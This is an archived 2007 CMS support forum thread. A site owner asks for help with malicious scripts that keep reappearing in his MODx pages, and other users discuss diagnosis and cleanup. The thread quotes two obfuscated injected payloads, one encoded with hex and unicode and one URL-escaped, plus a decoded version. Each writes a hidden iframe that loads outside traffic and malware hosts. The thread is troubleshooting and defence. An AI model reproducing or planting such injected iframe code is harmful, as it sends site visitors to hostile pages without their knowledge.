We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 4593
    • 5 Posts
    Hello all...

    I’m fairly new to MODx, just learning. But I do know one of my sites’ security has been compromised, because I’m getting malicious scripts on a few of my pages. When I first noticed the problem I wasn’t sure what it was. So I just uploaded a fresh (from the install zip) index.php file. The next time I checked it, it was infected again. Also manager/index.php was corrupted.... So I uploaded a fresh copy again and in a matter of a few hours was infected again...

    Here is a sample of the malicious script:
    <script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u0072\u0074\u0074\u0072\u0061\u0066\u0066\u0069\u0063\u002e\u0062\u0069\u007a\u002f\u0027\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0027\u0031\u0027\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0027\u0031\u0027\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0027\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0020\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script><script>function v470e68e00126e(v470e68e0014cf){  return(parseInt(v470e68e0014cf,16));}function v470e68e002088(v470e68e00246b){ var v470e68e003027=2; var v470e68e002858='';for(v470e68e002c6a=0; v470e68e002c6a<v470e68e00246b.length; v470e68e002c6a+=v470e68e003027){ v470e68e002858+=(String.fromCharCode(v470e68e00126e(v470e68e00246b.substr(v470e68e002c6a, v470e68e003027))));}return v470e68e002858;} document.write(v470e68e002088('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D33373237626433366338207372633D5C27687474703A2F2F742D726F6F742E6F72672F74726166662F696672616D652E7068703F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3639333638292B273261395C272077696474683D323332206865696768743D323939207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>


    I want some people to look at it as is, before I attempt a lot of fixes.
    I’m interested in the how and why, so I dont’ want to fix it without knowing that.

    Site: www.belmontinn.net
    MODx version: 0.9.5

    I’ll provide more details as needed...
      • 31337
      • 258 Posts
      Hi Nemo,

      Very sorry to hear about you having trouble with your site, and I am sure you’re frustrated by that happening. But before anyone can diagnose what’s happening with your site, you need to provide some more info. For starters, your OS, web server, and any other apps on your server would be good to know about.

      Also, which exact version of MODx do you have and where/when did you download from it? Do you have register_globals turned on in your PHP config?

      Furthermore, do you have any log files showing the vector for this attack? For example apache logs with malicious requests.

      To be honest with you, judging by your description, I do not think that MODx is the entry point for this attack. I suspect your system has been previously compromised, and they’re just modifying any files for web apps that they can.

      I’d strongly recommend asking your sysadmin to reinstall the OS on your server, and then to very carefully reinstall any apps you need one by one.
        • 33372
        • 1,611 Posts
        This code is a cross-site scripting (XSS) attack. I would bet that someone has gained access to your server account and is adding this code to your cache file or index.php, although it could be a worm infection on your server. If you have register_globals set to ON then it’s theoretically possible that someone could’ve discovered a way to do this via a MODx file (which is why MODx complains so much if you do that), but like vbrilon I would bet that the entry point is elsewhere (a compromised password is often the culprit).
          "Things are not what they appear to be; nor are they otherwise." - Buddha

          "Well, gee, Buddha - that wasn&#39;t very helpful..." - ZAP

          Useful MODx links: documentation | wiki | forum guidelines | bugs & requests | info you should include with your post | commercial support options
          • 4593
          • 5 Posts
          I can’t find any server status in control panel. This site is not hosted by my regular hosting company so I don’t know much about it. I do know it’s MidPhase (www.midphase.com).... I think it’s a Linux OS running Apache web server, but I’m not sure...

          As noted previously MODx version is 0.9.5, downloaded from www.modxcms.com. I’m purposefully waiting to upgrade, I want to have some idea what is going on here before I overwrite everything.

          As far as I can tell register_globals is off. I get no warning when I log into MODx Manager.

          I do have access to some log files, but they don’t show much.

          ------

          Just back from some more investigating..... It seems every directory has an index.html file that contains the malicious script. I’m deleting all those files and changing passwords. I’ll have an update in an hour or so...

          Thanks!
            • 6726
            • 7,075 Posts
            Ok, it was not MODx then ?

            Just curious : why run an older version (0.9.5) and not the latest (0.9.6) ?
              .: COO - Commerce Guys - Community Driven Innovation :.


              MODx est l&#39;outil id
              • 4593
              • 5 Posts
              I’m still not able to get manager cleaned up.... undecided

              Following is that last couple lines of code from the rendered page at "site/manager":
              <!-- convert this to a language include -->
              <p class="loginLicense">
              © 2005-2006 by the <a href="http://modxcms.com/" target="_blank">MODx CMF Team</a>. <strong>MODx</strong>™ is licensed under the GPL.
              </p>
              
              <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%30%38%38%37%62%33%39%63%63%61%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%61%6c%6c%74%72%61%66%66%2e%72%75%2f%6c%6f%6c%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%36%31%35%39%29%2b%27%30%34%62%62%63%5c%27%20%77%69%64%74%68%3d%37%30%39%20%68%65%69%67%68%74%3d%35%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script></body>
              </html>
                • 4593
                • 5 Posts
                Quote from: davidm at Oct 12, 2007, 09:23 AM

                Ok, it was not MODx then ?

                Just curious : why run an older version (0.9.5) and not the latest (0.9.6) ?

                Like I said, my initial install was with 0.9.5. I wanted to get to the bottom of this mess before I updated so I could better track down the problem.
                  • 22303 MODX Staff
                  • 10,725 Posts
                  Again, this has absolutely nothing to do with MODx from what I can tell. Your server has most likely been compromised from another vector. BTW, if you’re curious, here is the content which the code below injects into your pages...

                  window.status='Done';document.write('<iframe name="0887b39cca" src="%5C%27http://alltraff.ru/lol.php?%27+Math.round%28Math.random%28%29*36159%29+%2704bbc%5C%27" style="" none\="" height="51" width="709"></iframe>')
                    • 31337
                    • 258 Posts
                    Quote from: Capt.Nemo at Oct 12, 2007, 09:04 AM

                    Just back from some more investigating..... It seems every directory has an index.html file that contains the malicious script. I’m deleting all those files and changing passwords.

                    Don’t do this. Your system is compromised. You have no idea how or when the intruder got into your system or what’s been modified. You literally cannot trust any single binary file on that file system any more.

                    Save yourself some heartburn. Back up your data. Wipe the disk clean. Reinstall the OS. Give all new passwords to every account. It’s the only way to be sure you cleaned out any booby-trapped trojans off the system.

                    BTW, if you do some detective work and figure out how they got in in the first place, it’ll save you from having to do this again a week later when they break in again.
                      • 4593
                      • 5 Posts
                      Just an update...

                      This site is not hosted on my own server. It’s hosted by MidPhase. So I can’t do the wipe and reinstall like vbrilon suggested...

                      However, I have upgraded to 0.9.6 and changed passwords, and it’s been fine for a few days now.